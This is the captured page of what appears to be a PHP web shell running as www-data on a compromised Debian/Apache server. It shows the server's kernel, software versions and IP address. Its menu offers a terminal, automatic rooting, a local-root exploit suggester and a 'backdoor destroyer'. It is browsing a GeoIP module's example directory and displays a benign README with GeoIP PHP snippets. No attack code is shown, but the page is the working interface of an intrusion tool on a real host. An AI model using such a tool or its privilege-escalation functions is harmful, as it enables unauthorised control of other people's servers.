Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.122
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
libapache2-mod-geoip /
examples /
Delete
Unzip
Name
Size
Permission
Date
Action
README.php
701
B
-rw-r--r--
2015-03-06 18:43
Save
Rename
To use from PHP, use something like: GeoIP Country: <?php $country_code = apache_note("GEOIP_COUNTRY_CODE"); $country_name = apache_note("GEOIP_COUNTRY_NAME"); ?> GeoIP Region: <?php $country_code = apache_note("GEOIP_COUNTRY_CODE"); $region = apache_note("GEOIP_REGION"); ?> GeoIP City: <?php $country_code = apache_note("GEOIP_COUNTRY_CODE"); $region = apache_note("GEOIP_REGION"); $city = apache_note("GEOIP_CITY"); ?> ================================================== Redirection with PHP $country_code = apache_note("GEOIP_COUNTRY_CODE"); if ( $country_code == "DE" ) { header ("Location: http://www.google.de" ); } else { header ("Location: http://www.yoursite.com" ); }